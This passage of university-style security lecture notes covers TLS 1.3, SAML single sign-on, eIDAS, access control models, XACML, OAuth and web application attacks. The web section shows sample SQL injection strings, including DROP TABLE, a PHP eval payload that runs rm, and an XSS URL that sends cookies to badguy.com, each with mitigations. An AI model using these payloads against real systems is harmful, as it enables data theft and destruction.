the certificates. There are four aspects to this verification: the digital signature is checked; the certificate chain is checked in case of intermediate CA certificates; the expiration and activation dates and the validity period are checked; the revocation status of the certificate is checked.

4.2.3 TLS vulnerabilities

TLS (up to v1.2) suffers from some security issues for a few reasons. First one is backward compatibility: the protocol still supports weak cipher suites and broken hash functions, this is because organizations are interested in trading with clients that still run old software. Some logical flaws also exist in the protocol. Finally there are also bugs with some implementations in certain libraries, even the most affirmed ones such as OpenSSL. To mitigate those issues, update to the latest version of TLS: TLS 1.3.

Replay attacks aim at inducing client and server to regenerate the same key of a previous session by replying the messages of the previous session containing the parameters to derive the session key using the Diffie-Hellman key exchange. To avoid this, ClientHello and ServerHello also contain 32-byte nonces (28-byte random values + 4-byte time encoding). A nonce is an arbitrary number that can be used just once in a cryptographic communication. Without the server nonce and client nonce (cnonce) an attacker could reuse a previously generated login message to authenticate as the client.

4.2.4 TLS 1.3

The goals of the last version of TLS are to remove unsafe or unused features, encrypt more of the protocol, improve security and performance while still remaining backward compatible. **TLS 1.3** has a faster handshake: RSA has been removed, along with all static (non-PFS) key exchanges, while retaining ephemeral Diffie-Hellman keys. Relying exclusively on the Diffie-Hellman family allows the client to send the required cryptographic parameters for key generation already included in its "hello". By eliminating an entire round-trip on the handshake, this saves time and improves overall site performance, mitigating covert channel attacks; but they are still possible in particular ways. This modality is called "one round-trip time", 1-RTT. In addition, when accessing a site that has been visited previously, a client can send data on the first message to the server by leveraging pre-shared keys (PSK) from the prior session. This modality is called "zero round-trip time" 0-RTT. TLS 1.3 accepts only 5 cipher suites (against 319 in TLS 1.2), including only those that do support forward secrecy.

Forward secrecy or perfect forward secrecy is a feature of specific key-agreement protocols that gives assurances that session keys will not be compromised even if long-term secrets (private signing key of the server) used in the session key exchange are compromised. TLS relies on Ephemeral Diffie-Hellman, DHE. With some other key exchange methods (e.g., the "standard" Diffie-Hellman method), the same key will be generated if the same parameters are used on either side. Instead, with ephemeral methods a different key is used for each connection, and, again, the leakage of any long-term would not cause all the associated session keys to be breached. When a key exchange uses Ephemeral Diffie-Hellman a temporary DH key is generated for every connection and thus the same key is never used twice.

Ephemeral Diffie-Hellman provides no authentication because the key is different every time. Therefore within TLS, DHE should be combined with an additional authentication mecha-

nism; this is done by using so-called Authenticated Encryption with associated data (AEAD), which are symmetric ciphers that can guarantee confidentiality together with authenticity and integrity.

5 Authentication II

5.1 Single Sign On

Single Sign On (SSO) consists in outsourcing the authentication process to a trusted third party. It's needed to reduce the number of passwords a user should remember in order to access different services, thus creating a security domain (i.e. the collection of applications trusting a common security/authentication token for authentication, authorization or session management).

Here are the basic steps taken when using SSO. The user agent accesses an application, which refers them to a trusted identity provider. The identity provider then prompts the user for credentials, which are given by the user. The identity provider transfers to the application with evidence that the user has successfully performed authentication. At the end, the service provider sends an authentication token to the user. This token will be included by the user in every request to access resources of all service providers inside the security domain. Such a solution is needed because internet protocols are stateless, so the token allows the user not to authenticate every time it has to make a request. During this process credentials never leave the authentication domain, service providers have to trust the authentication domain, and authentication transfer has to be protected by providing nonces as a freshness parameter to limit the reuse and lifetime of authentication tokens/assertions and by adding cryptographic signatures to authentication assertions.

The **authentication domain** consists in identity provider and user agent. This should not be confused with security domain, which also contains all service providers that trust a common token.

5.2 Security Assertion Markup language (SAML)

5.2.1 Introduction

Security Assertion Markup Language (SAML) is an XML-based markup language and flow between systems that want to provide an SSO experience to users. It answers the lack of standards and interoperable solutions for exchanging authentication and authorization information across security domains. It's heavily based on mechanisms implemented in browsers, like redirections.

A SAML **federation** is a group of entities managed as a single one that share a common policy. SAML distinguishes two main types of entities inside a federation: the identity providers (IdP) authenticate the user and provide authorisation information, while the service providers (SPs) host protected resources employing local access policies to regulate access to those resources, and rely on the information provided by the IdP.

SAML Authentication was mainly designed for Web Services; it is possible to support other types of resources, either web based or native applications. Resources can support multiple SAML profiles: the profile identifies the exchange protocol and the message format. The most widely used profile for web applications is redirect, where the browsers shows a page with a script performing the redirect.

5.2.2 Details

The SAML architecture consists of different elements.

Metadata is further data that has to be shared. At least the following must be shared: the entity ID, the cryptographic keys used during authentication and the protocol endpoints. There are two types of SAML Web Browser SSO configurations: static and automated metadata. The term **static metadata** refers to a metadata file that is configured directly into the SAML application by an administrator. In doing so, the administrator becomes responsible for the maintenance of the metadata regardless of how the metadata was obtained in the first place. Then we have automated metadata exchange, where the metadata sharing process must be **automated**. One approach is to enlist the help of a trusted third party (SAML federation) whose responsibility it is to collect, curate, and distribute metadata across the network. Curated metadata is consistently formatted, more likely to be free of vulnerabilities (intentional or otherwise), and therefore safe to use.

The **authentication context** indicates how a user authenticated at an IdP. The IdP includes the authentication context in an assertion at the request of a SP or based on configuration at the IdP; a SP can require information about the identification process to establish a level of confidence in the assertion before granting access to resources (Levels Of Assurance model).

A SAML **assertion** is a set of statements made by a SAML authority, the so-called asserting party. We distinguish three types: authentication assertions are issued by a party that authenticates users and describes who issued the assertion, the authenticated subject, the validity period and other related information; attribute assertions specify details about the subject; finally, authorization assertions define something the subject is entitled to do.

A SAML **protocol** is a flow of assertion queries and requests for obtaining SAML assertions. The typical security goal of SAML protocols is the authentication of users; the SP authenticates the user through an IdP assertion; the behaviour of the protocol is typically independent from how it has to be implemented.

A SAML **binding** is the mapping between SAML protocols and standard messaging and communication protocols. Some examples include HTTP redirect, HTTP post and HTTP artifact.

Finally, SAML **profiles** combine protocols, assertions and bindings to create a federation and enable federated single sign-on. Single Logout profile is an example, and is used to terminate all the login sessions currently active for a specified user within the federation. Web browser SSO is a SAML profile which provides options regarding the initiation of the message flow (IdP initiated, SP initiated, ...) and the transport of messages (bindings). We'll get into the details of two scenarios.

In an IdP initiated SSO the client logs in to the IdP and select a Source using the IdP. The IdP redirects the Client to the SP requested, with a signed SSO auth response attached. The SP supplies the resource after validating the SSO Response. In an SP initiated SSO the client ask the SP for a SP resource. If the resource is public, the SP gives it to the client, if it's protected it checks for the right permissions. If the client is not authenticated, the SP redirects it to an IdP with AuthRequest. The client authenticates themselves to the IdP, which then redirects the client to the SP with a Signed AuthResponse. The SP then gives the resource to the client, if permitted.

5.2.3 Some security considerations

SAML defines a number of security mechanisms to detect and protect against replayed and man-in-the-middle attacks. The primary mechanism is for the relying party and asserting party to have a pre-existing **trust relationship** which typically relies on a Public Key Infrastructure (PKI). While the use of a PKI is not mandated by SAML, it is recommended.

Other general recommendations include SSL/TLS when message integrity and confidentiality are required, bi-lateral authentication and SSL/TLS using mutual authentication when a relying party requests an assertion from a relying party, and to include a digital signature in the response messages through XML Signature when a response message containing an assertion is delivered to a relying party via a user's web browser (for integrity). Furthermore, SAML messages should have an expiration, should contain a unique ID and they should only be accepted by the SP application they are intended for. Also, check for all standard XML attack vectors (like XXE).

SAML also has a number of mechanisms that support deployment in **privacy**. First is persistent pseudonyms, which avoid inappropriate correlation between different service providers (as it would be possible if the identity provider asserted the same identifier for a user to every service provider, a so-called global identifier). One-time/transient identifiers ensure that every time a certain user accesses a given service provider through a SSO operation from an IdP, that SP will be unable to recognize them as the same individual that might have previously visited. Finally authentication contexts allow users to be authenticated at a sufficient assurance level, but not more than necessary; the assurance level is appropriate to the resource they may be attempting to access at some service provider. SAML also allows the claimed fact of a user consenting to certain operations to be expressed between providers, but the details are out of scope for SAML.

5.3 Identity Infrastructures

SPID (Sistema Pubblico di Identità Digitale) is a national identity infrastructure which has three assurance levels (from 1 to 3). Identity providers are private, while the relationship of trust on which the federation established in SPID is based is achieved through the mediation of AgID (Agenzia per l'Italia Digitale), third party guarantor, through the process of accreditation of IdPs, attribute authorities, and SPs.

The federation registry managed by AgID contains the list of entities that have passed the accreditation process. For each entity the registry contains an entry called AuthorityInfo, consisting of: the SAML identifier of the entity, the name of the subject to which the federation entity refers, the type of entity (IdP, Attribute Authority, SP), URL of the metadata provider service and a list of qualified attributes which can be certified by an Attribute Authority.

The **CIE** (Carta d'Identità Elettronica), which stores personal data, is designed to use NFC (Near Field Communication, at most 4 cm) for authentication purposes, using cryptography. Users need to preliminary download the CieID app and register their cards, in order to exploit CIE sign in.

! Notice that with CIE there would be no need to have centralized stored identity data, because it's stored directly in the CIE. In practice this is not true, since we still need to store data in

servers in order to avoid users' unreliability (forgetting passwords, losing cards, etc.).

The **eIDAS** (electronic Identification, Authentication and trust Services) is the European identity infrastructure, allowing portability of national digital identities of Member (and Associated) States. It redirects users from foreign SP (with eIDAS-Connector) to their native IdP (with eIDAS Service); it relies on SAML for the communication between the eIDAS-Connector and eIDAS-Service.

If an Italian citizen wants to authenticate against a German online service, first the German eIDAS Node (eIDAS-Connector) is directed by the web application to initiate the authentication process and it then sends a request to the Italian eIDAS-Node (eIDAS-Service). The Italian eIDAS Node would then forward the user to a system that is equipped to authenticate the Italian citizen using the national eID scheme. After authentication, the German eIDAS-Connector receives the citizen's information which it forwards to the web application. eIDAS relies on SAML for communication between the eIDAS-Connector and eIDAS-Service (called eIDAS-Nodes).

Attackers exploited a vulnerability to bypass the signature verification, allowing them to send any SAML message to an affected eIDAS-Node. The attacker could therefore, e.g., send a manipulated SAML response to an eIDAS-Connector to authenticate as anybody. In particular, it was found that, in the second step, the application searches for the the issuer certificate by comparing the Issuer DN of the entity certificate to the Subject DN of the potential issuer certificates (DN stands for Distinguished Name, a unique identifier for an entity in the context of public key infrastructure (PKI) and digital certificates). The application does not verify whether the entity certificate has been correctly signed by the issuer certificate. An attacker can therefore sign a manipulated SAML response with a forged certificate.

A further improvement of eIDAS under discussion is a personal digital identity wallet, i.e. a user-controlled app empowering the citizens to provide proofs of their identity or attributes so that the citizen is able to selectively share personal information with services by fishing (verifiable) credentials from the wallets. That would be possible also thanks to a European Self-Sovereign Identity Framework (ESSIF), making use of decentralized identifiers and the European Blockchain Services Infrastructure (EBSI), and where users control the verifiable credentials that they hold and their consent is required to use those credentials.

6 Access control I

6.1 Introduction

6.1.1 Bases

Access control (**AC**) is the process of mediating requests to resources and data of a system, and determining whether a request should be granted or denied. All authentication requests are intercepted by the Guard, which compares them to policy rules; all past requests with their results (grant/deny) are saved in the Audit Log. The Access Control Module is encapsulated in an isolation boundary, and the Audit Log is encapsulated further in another isolation boundary (done via cryptography). Only a few entities have the keys to decrypt the Audit Log. The **outer boundary** prevents the by-passing of the Guard: all authorization requests are evaluated according to the policy. Anyway, it can be by-passed only by privileged users (such as administrators) that need to install/update policies or perform other routine administrative operations (e-g. updating the software implementing the Guard). The **inner boundary** guarantees the integrity of the Audit Log so that this can be inspected to understand what happened and why. For this reason it cannot be by-passed even by privileged users (such as administrators) as this would give rise to possible insider attacks (to the integrity of the Log) that would make auditing meaningless.

6.1.2 OS

An Operating System (**OS**) is a software that manages HW and SW resources and provides common services for computer programs and provides users with the capability of communicating with their computers. A multi-user OS allows for multiple users to use the same computer at the same time and/or different times, while a multi-tasking OS is able to allow multiple software processes to run at the same time. The OS must protect users from each other, guaranteeing memory protection, file protection, general control and access to objects and user authentication. To share resources between processes, instead of simply partitioning the memory, it has to follow the **principle of least privilege**: every subject must be able to access only the information and resources that are necessary for their legitimate purpose. This is implemented using resource encapsulation (object-oriented programming), meaning that all data and functions required to use that specific resource are packaged into a single self-contained component. By using resource encapsulation, the OS can allow access or manipulation of a resource in the way the designer intended, also controlling which users can perform which operations on that resource.

6.1.3 AC policy, model, enforcement

A **policy** is a set of rules to implement specific security properties (typically focusing on confidentiality and integrity, rather than availability), specifying what actions a subject may perform on resources (or objects) containing information. A **model** is a formal (mathematical) representation of the policy and its working. The **enforcement** is made up by low level (software or hardware) functions that implement the controls imposed by the policy and formally stated in the model. With this structured approach, the meaning of policies is independent from

any particular implementation. So, when reasoning about policies, one can forget about their enforcement, assuming that the latter works correctly (i.e. separation of concerns). Another advantage comes from the possibility of using automated reasoning techniques to perform security analysis of policies.

While it is true in theory that the implementation can be taken for granted, it still needs to be done carefully. One example of a common error by programmers is not checking the argument size in command-line programs. The Unix finger command did not perform this check, and allowed the Morris worm to overwrite computer memory and execute custom bits of code.

6.2 Access Control Matrix

The **Access Control Matrix** (ACM) is the AC model preferred by Operating Systems. The matrix enumerates which actions are allowed for each subject/object pair. There are two possible enforcement mechanisms for the ACM: AC list and capabilities.

ACL (Access Control List) is an enforcement of the ACMatrix. It represent the matrix with a List uses the resource as a pointer, and each pointer leads to all the subject with their relative permissions for that resource. ACL is typically used integrated in the file system. It's easier to represent them with groups when we have a bigger user base, it's easier for the guard to obtain the policies (guard can check the file and check the subject permissions). ACL can lead to a bigger file if there's a lot of users that have permissions on it. ACLs are widely used in environments where the users manage the security of their own files such as Unix systems. As advantages they are easy to understand, it is easy to answer questions as "who has access to a resource and what is the type of access?", and they work well in distributed systems. The main disadvantage is their inefficiency when determining rights if the list is long.

Capabilities is an enforcement of the ACMatrix. It represent the matrix with a List uses the subject as a pointer, and each pointer leads to all the resources with their relative permissions for that subject. The main problem with capability lists is that changing the status of a resource can be difficult because it can be hard to find out which users have permission to access the resource. For example, changing a program's status so that no user may execute it can be difficult because it can be hard to find out which users have permission to execute the program.

The **confused deputy problem** is a privilege escalation attack where the adversary who does not have direct access to some sensitive resource, indirectly writes the resource by confusing a subject (called deputy) who can access that resource. As an example, consider a compiler program which compiles some given input file and returns an output file and a file containing the bill for the user. The attacker owns and can read/write the input file and has permissions to interact with the compiler, while the compiler has permission to write the bill file. If the attacker were to tell the compiler to output his results into the bill file, it will do just that, and overwrite what should have been given to the attacker as the bill. This problem happens with access control lists, where permissions are saved into the resources themselves, and those are the ones checked when an action has to be performed. Capabilities don't suffer from confused deputy problems, since permissions are explicitly written and there is no more confusion as the attacker passes their capabilities to the Compiler, which would then see that they can not write the bill file.

6.3 D(iscretionary) and M(andatory) AC

AC models can be divided in Discretionary and Mandatory Access Control.

In **Discretionary Access Control (DAC)** the owner of a resource decides how it can be shared. They decide what to do and how to set read, write and execute permissions. They are typically used in OSs. Having an entire AC matrix (as well as an ACL) might be too computationally expensive for big organizations, and for this reason many times users are put in groups. Groups will then appear in ACls. Checking that a subject has a permission amounts to finding a group to which this user belongs to and that appears in an ACl with associated the permission on a given resource. DAC models are flexible (easy to understand and edit permissions) and intuitive, but they also have many cons. They are subjective to the owner's judgement to modify the protection state of a resource, they're inconsistent due to users' erorrs and are vulnerable to trojans. Trojans are malicious computer programs which mislead users of their true intent. given a resource only readable by a user, an attacker induces them to run a trojan that can read that program and copy it into a resource accessible to the attacker.

In **Mandatory Access Control (MAC)** users operate in an organization which decides how data should be shared; it's the model typically used in the military. . MACs are usually enfored by using security labels, the level of impact that the disclosure of the resource may have, following the principle of multi-level security. Here resources have different sensitivity labels L=(S,N) where S is a linearly ordered set such as TopSecret>=Secret>=Confidential>=Unclassified, and N is a set of "need-to-know" categories, expressing membership within some interest group. At creation time, each resource is associated to a sensitivity label by resource originator, according to some criteria. The presence of the need-to-know categories is due to the fact that not everyone is entitled to access a specific topic, reflecting the principle of Least Privilege. Each user is then associated to a clearance (or authorization) level C=(S,N), where S is a hierarchical security level indicating the degree of trustworthiness to which the user has been vetted, and N is a set of "need-to-know categories" indicating domains of interest in which the user is authorized to operate.

If Mandatory Access Control uses the Bell-LaPadula model, it follows three policies. If a request is to read, the **no read up property** allows the subject to read a resource only if its clearance dominates the sensitivity label of the resource. If a request is to write, the **no write down property** allows the subject to write to a resource only if that resource's sensitivity label dominates the subject's clearance. To prevent the circumventing of these rules, the **tranquility principle** says that nobody can arbitrary change the security level of resources. This model gives confidentiality, integrity is not considered; the Biba model also gives integrity, but works opposite of the Bell-LaPadula model: no read down, we don't want important documents to be influenced by less-important documents, and no write-up, we don't want someone to break integrity of important information. It works by adding integrity labels, which characterize the degree of "trustworthiness" of the information contained in that resource; the integrity label of a subject measures the confidence one places in its ability to produce or handle information. We can combine them to achieve confidentiality **and** integrity.

MAC is not vulnerable to trojans because of the No-Write-Down property, but information leakage is still possible through covert channels. Let's assume that a low level subject wanted to communicate with a high level one, like a soldier and a general. The soldier would create a dummy object at its own level, and wait for the general to act. The general would either change upgrade the security level to high or leave it unchanged. The soldier would then try to access the dummy object: if they could read it or not meant that the general wanted to communicate,

for example, a zero or a one, a false or a true, to the soldier. Repeating this process enough times meant being able to communicate any amount of information.

6.4 Role based Access Control (RBAC)

When there are many users and many possible actions, such as in enterprise context, DAC and MAC models become inadequate. For this situations **role based access control (RBAC)** has been developed. All users are associated to a role and those links are kept in the User Assignment table; it's unstable, as it changes very often. Roles are associated to permissions in the Permission Assignment table (PA); it's stable, since it shouldn't change for a long period of time. Roles are defined in a role hierarchy, to enable permission inheritance. With this tree structure the PA table reduces a lot, containing just the permission not already inherited.

A role hierarchy is reflexive, antisymmetric, and transitive relation containing pairs of senior-junior roles: reflexive means that every role is more senior than itself, while antisymmetric that there are no equal roles. It's also a partial order because there are no circles in role hierarchy. Note that a role is said to be more senior than another when the other's permissions are a subset of its permissions. Establishing if a user u has a permission pe becomes slightly more difficult: we have to evaluate if exists two roles such that the pair user-first role is in the User Assignment table, the first role is more senior than the second and the pair permission-second role is in the permission assignment table. Roles allow to manage permissions indirectly, easing the work of administrators, who has to focus on associations between roles and users, because policy rules are pretty stable and don't change often. Both UA and PA relations are many to many.

Here a group is just a collection of users, while a role is a collection of users and permissions. A user is a particular subject identifying a human being, and sometimes subjects are called principals.

A user can have multiple sessions, each time invoking any subset of roles he is a member of. This helps in implementing the Principle of least Privilege. Many times though there is no session implementation in real ones, because it costs and complicates the enforcement; it would be worth it, since it reduces attacks' damages. When a role is activated, also all its more junior roles are implicitly activated!

The core RBAC is the minimum set of entities to call a model RBAC; the role hierarchy is missing.

Constrained RBAC refers to the Separation of Duty (SoD, 4 eyes principle) aiming at capturing conflict of interest policies to restrict authority of a single entity (fraud prevention). For instance, the same employee must not be allowed to buy a stock of materials and also check the buying as feasible for the corporation. The separation of duties is either static or dynamic: static when it's defined by the role hierarchy (RH), dynamic when it's defined by the simultaneously-activable roles during a session.

With RBAC it's easy to grasp the idea of roles and to manage in principle; it's easy to tell through roles which permissions a subject has, and why. As disadvantages though it's difficult to decide on the granularity of roles, and role meaning remains fuzzy.

7 Access control II

7.1 Attribute Based AC (ABAC)

In many cases roles may not be enough for easily expressing authorization conditions depending on additional attributes of subjects, resources and environment (time, location, etc.). For this reason we introduce **Attribute-Based Access Control**, where roles become just a specific type of more general attributes. In **ABAC** authorizations depend on three different types of attributes (stored somewhere in a database): user or subject attributes, resource or object attributes and environment attributes.

An **ABAC policy** is a set of rules that govern allowable behavior within an organization, based on the privileges of subjects and how resources or objects are to be protected under which environment conditions. When a user asks for a resource, the policy is checked alongside the current attributes to determine if the user can have access to that resource.

While RBAC is coarse-grain AC, ABAC is granular-grain AC, as it allows for more precise conditions. While in RBAC you may want to express that, for example, teachers can access Google services, in ABAC you could specify that teachers can access Google services if in class, only using school computers and only in school hours.

7.2 XACML

XACML stands for eXtensible Access Control Markup Language and it's a language implementation of ABAC. It's a way to express access control policies, requests and decisions in XML. The **XACML policy language** is used to specify AC rules and the algorithms needed to combine different policies; the **XACML request/response protocol** is used to query a decision engine that evaluates user access requests against policies; the **XACML reference architecture** is used for deployment of software modules to house policies and for computing and enforcing access control decisions.

XACML policies are structured as **PolicySets**, which include a target, the different policies and may include other PolicySets. **Targets** define boolean conditions that determine which policy applies to the request; if a target condition is true, the request gets evaluated; otherwise the decision is not applicable. Each individual policy consists of its target, the list of rules to apply and a rule-combining algorithm to determine how policy rules can be used together. Of the 12 rule-combining algorithms available the main 4 are: deny overrides (AND operation on Permit), permit overrides (OR operation on Permit), first-applicable (result is first decision) and only one applicable (if more apply, return indeterminate). Each rule has itself a target, the effect which may be a Permit or a Deny, and the boolean conditions that determine what the rule will return. Rules can be separately evaluated but they cannot live on their own: they must be part of a policy. Rules are the smallest unit of reuse in XACML, while policies are the smallest unit of evaluation. Finally, we have **obligations**, which describe what must be carried out before or after an access request is approved or denied.

The XACML architecture for enforcement consists in the set of mechanisms needed to correctly evaluate a XACML request. The **Policy Administration Point (PAP)** creates new policies and adds them into the Policy Repository (PRP). The **Policy Enforcement Point** is the

mechanism which provides the protection of the resource; this mechanisms is what physically enforces access control. The **context handler** converts requests from their native format to the XACML canonical form and converts the Authorization decisions from the XACML canonical form into the native format. The **Policy Decision Point** checks if the policySet is Permit or Deny, also according to the rule-combining algorithm. It gets the attributes from the PIP and the policy from the PRP. The **Policy Information Point (PIP)** keeps all the subject, object and environmental attributes which are going to be processed.

A typical XACML flow starts with a user asking for a resource, and starting the access control mechanism. The PEP listens to the request and forwards it to the PDP using XACML, asking for a Permit or Deny response. The PDP evaluates the response according to the attributes from the PIP, the policies from the PRP and the rule-combining algorithm. It then returns the response to the PEP, which enforce the decision, allowing or blocking the resource access to the user.

A **XACML request** consists of attributes of subject, resource, action and environment; XACML attributes are name-value pairs stored in a **Policy Information Point (PIP)** and retrieved at the time of decision making. A **XACML response** object is what is returned after a XACML request, and contains whether the subject may perform the action on the resource in the given environment, and may include obligations.

7.3 OAuth 2.0

OAuth 2.0 is a delegation protocol that lets users allow applications to access resources on their behalf. It was created to avoid the bad practice of giving full access to a third party service by sharing your credentials. This framework involves four entities: the resource owner can access and delegate access to a protected resource, the protected resource is what the service provider can share on the owner's request, the client or application is the service that wishes to access the protected resource acting on the owner's behalf, and the authorization server manages, well, authorization, and generates the token needed by the client to access the resource. Often the authentication service and the protected resource live on the same system.

A trust relationship between service provider and authorization server has previously been established through key exchange, making it possible to use Public Key Cryptography to verify the source of the messages sent. The framework is defined only for HTTP and relies on TLS for secure messaging.

The token is opaque to both the client and the user: the only entities that can understand its contents are the authorization server that issued it and the server on which the resource lives, that uses it to grant or deny an authorization request. The token format is not standardized by the OAuth standard, but the de-facto standard is JSON Web Tokens (JWT). JWT defined a container to transport data between interested parties. A JWT token consists of 3 components: a header that identifies the algorithm needed to sign the token, the payload, and the signature.

The typical **authorization code flow** starts with the client redirecting the resource owner to the authorization server's endpoint. The user has already authenticated on the client, since authentication is out of scope for this protocol. Once the resource owner in on the authorization server, they authenticate and authorize the client to access the resource they need. The authorization server sends the user back to the client carrying an **authorization code**. This is NOT the authorization token yet, this code is needed by the client to authenticate, otherwise

anyone intercepting a token at this point would be able to make a valid request. The client then goes to the authorization server's token endpoint and authenticates using their credential and the code provided; authentication can happen any way it wants to, it's not specified by OAuth. The authorization server then issues an **OAuth access token** to the client, which can then query the protected resource using the just obtained token.

With a **bearer access token** anyone, meaning the **token bearer**, can access the resource, therefore a bearer token usually has a time window of validity. The resource request is done over TLS, which is what protects someone from intercepting the token (since from this point onward the token can be used by anyone to access the resource). When tokens expire or are revoked, there's a way for the clients to get a new token without the need for the resource owner to be there. **Refresh tokens** allow clients to obtain a new access token without logging in again, as that would require the code that the authentication server only releases when the owner authenticates. The refresh token is much more protected and doesn't travel through the network in every transmission (it also has a lifespan).

OAuth tokens are similar to capabilities in the sense that they collect privileges for a user, and can be transferred to other subjects so that permissions are delegated. The only difference between access tokens and capabilities consist on the independence of access tokens from users' identities.

OAuth 2.0 **was not** designed to be an authentication protocol. The main problem arises from the fact that authentication means telling who the current user is and whether or not they're present, which is something that an OAuth flow does not do. It was designed to do the opposite, allowing for clients to access resources even when the user is not present. But, some specific cases allow for the token to be used for authentication, like when it has been freshly minted, with the right additions to the protocol.

In fact, the **OpenID Connect (OIDC)** is an open standard built on top of OAuth 2.0 that does just that: it adds functionalities to OAuth 2.0 that allow it to be used for authentication. Being an open standard, every potential identity provider can provide APIs to implement it and make it possible to other service providers to authenticate through them using a single, known standard.

8 Web and IoT security

8.1 Web

Web application are based on the client/server architecture, where clients and servers exchange messages in a request-response messaging pattern, satisfying a communications protocol. HTTP is the HyperText Trasfer Protocol, which is connectionless, media independent and stateless: connectionless because after sending a request, the clients disconnects from the server awaiting a response, media independent since every kind of data can be sent, as long as both sender and recipient know how to work with it, and stateless because after exchanging messages, both entities involved forget about each other, meaning that they don't retain information between different requests across web pages.

HTTP cookies are a small piece of data sent from a website and stored on a user's computer to overcome this stateless nature of HTTP. A client would send the received cookie to the server on each request, allowing the server to understand who the client is through multiple requests. Authentication cookies are hugely important, since they allow servers to know whether the user is logged in or not. Since they are sent in clear, they should always be sent over HTTPS, in order to limit security vulnerabilities with cookie authentication.

Web application security is a branch of information security concerning the security of websites, web applications and web services. In particular, application security encompasses measures taken to improve the security of an application by finding, fixing and preventing security vulnerabilities. Web applications can be hit by malware attacks on the end devices, network attacks on the messages sent and web attacks on the infrastructure. The application layer can suffer from SQL injections, cross-site-scripting (XSS), cross-site request forgery (CSRF), broken authentication and unvalidated input; the network layer can suffer from packet sniffing and man-in-the-middle attacks (MITM); the server layer can suffer from denial-of-service (DoS) and OS exploitations; the user layer can suffer from phishing, key-logging or malwares. The TLS protocols can protect from network attacks such as MITM attacks, but is useless against malware and web attacks, since those target the end devices and have nothing to do with the communication between them.

A web application has clear security requirements that need to be met. First is authentication, as an application has to know who they're communicating with. Authorization is another, as the user must have access to only those resources that they're entitled to. Confidentiality and integrity are two classics, since the information has to be secret and has to be protected from tampering in transit, or provide a way to recognize unwanted modification. Finally, non-repudiation is important, since if someone has sent a message it should be impossible for them to deny it later.

Injection attacks aim at obtaining information withou cracking any password. injection flaws occur when unrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. An example of SQL injection consists in inputting in a field waiting for a username the value admin'; –, that when added to the complete query would make it ignore the password check. Another one would be micheal' or 1=1; –, which would access the user micheal's information without the need for a password. These kind of attacks can be used to guess a password, by checking for each character this way: micheal' and password like 'a%';–, to check if it starts with an 'a'; then repeating this until you find every character. These

attacks can also be used to mine at the integrity of a website, adding commands like admin'; DROP TABLE Users; –. A PHP eval injection attack uses the eval() function in PHP, which evaluats PHP code. An example is `eval(`$result = ' +in + ');');`, where in is something like "10+1;system("rm *.*");, maybe given from the URL http://site.com/calc=10+1. To mitigate these kind of attacks, the first thing to do is applying the principle of least privilege: whataver program is executing the query should only have the permissions needed for that command, not root privileges. Also, input sanitation, when parameterized or prepared SQL queries are used instead of concatenated strings.

Cross-site scripting (XSS) flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. The script executes with privileges available to the responding web application and the attacker is able to access privileged information only available to the user or the web application. Since cookies often contain authentication information, this could allow the attacker to impersonate the victim. At least two variants exist: in stored XSS attacks POST is used to store the bad URL inside a comment/forum, while in reflected XSS attacks the attacker uses constructed urls: http://vulnerable.com/welcome.pip?name=<script>window.open("http://www.badguy.com/collect.php?cookie="+document.cookie)</script>. Mitigations include filtering all input parameters from HTTP GET and POST, allowing only for characters that don't have a special meaning in HTML and JavaScript and replace them with harmless sequences; better to do with positive filtering, specifying allowed values, than negative filtering, specifying forbidden values, since it's easy to forget something.

Unvalidated input is another problem. Some web apps use HTML fields to mark, for instance, product prices. The client can download the page, change the form, and edit the value of the price input (and modifying the action attribute on the form element). The solution is to never trust any input from the user, and never trust client side input validation; that is done for efficiency, server-side input validation is done for security.

Cross Site Request Forgery (CSRF) is another kind of attack targetting web applications. Suppose we have a weak website that uses POST requests to do certain actions after the user authenticated. Suppose than another, malicious website is visited. The other website would execute some background JavaScript and perform some requests to the weak website using the authentication token, without the user even noticing. A possible mitigation is inserting a one-time token in the FORM POST request in the weak site. This attack eludes Same Origin Policy because it doesn't read data, but sends data from another website.

Poor management of **session identifiers** can lead to different attacks. To prevent attacks we should implement strict timeouts, renew session-ID wen an authentication state is passed (on logging in/out) and ensure session IDs cannot be easily guessed by using a large space and generating IDs with a good random number generator. Session identifiers are stored on the client (browser) side in cookies, therefore cookies should be managed properly to ensure security of sessions. This is achieved by using "Domain" and "Path" attributes to restrict the scope of cookies to narrow down subdomains, using the "Secure" attribute to force browsers to send cookies over HTTPS, using the "HttpOnly" attribute to prevent scripts from accessing the cookies, using the "X-XSS-Protection" header to allow browsers to detect XSS attacks and using the "Content-Security-Policy" header to instruct browsers to only load resources from whitelisted locations.

Another problem is **broken authentication**. Username and password combinations are commonly used and commonly broken, and collections of username and passwords are on sale on the dark web. That's because of insecure storage of password hashes (SQL injections), weak hashing algorithms employed (like LinkedIn with SHA1 before 2012), faulty session management (session IDs exposed) or long sessions or too many attempts at password recovery. Possible mitigations include disallowing weak passwords, using strong hashing algorithm and saling passwords, using HTTPS for encrypting sessions IDs to prevent MITM attacks, not exposing credentials in untrusted locations (hidden files, cookies, URls) and implementing account lockouts (freezing the possibility of signing in), and implementing MFA.

A phishing attack is an attack which consists in letting an unsuspecting users visit a fake or malicious website, copying a true website, to steal personal information (like login, password, FC, ...). A user receives a mail from a service he's subscribed to. The email looks exactly like one coming from the true website, as it uses real images embedded with real links. It also incluees a button saying "reset your password" which redirects to a website using HTTPs, that has almost the same name as the original. The page does spoofing, having the same style/html of the original login page. When the user logs in to this fake site, the website redirects him to the true website, but keeps his login information and stores them. One possible mitigation is checking certificates: having HTTPS does not mean it's the true website, we need to check the certificate's authenticity and if it's referring to the true website. Also, CAs should avoid creating certificates for websites with names similar to other famous ones. We can also raise awareness to help people not getting phished. The website who got cloned should should notice a spike of changes in passwords, moving funds (if we manage money), password resets and image GET requests. Also, it should add private information (like user ID or name and surname) into the mail they send. This prevents phishing but doesn't prevent spear phishing (phishing focuses to one or more users, using their private information to make the request seem legit).

Making sure that out SW components don't have any (known) vulnerability is a daunting task, even though there are utilities that identify project dependencies and check if there are any known, publicly disclosed vulnerabilities. Nevertheless we can mitigate the impact of known vulnerabilities by following the principle of least privilege, and following the risk-based approach: a security breach is not a matter of if but when.

8.2 IoT

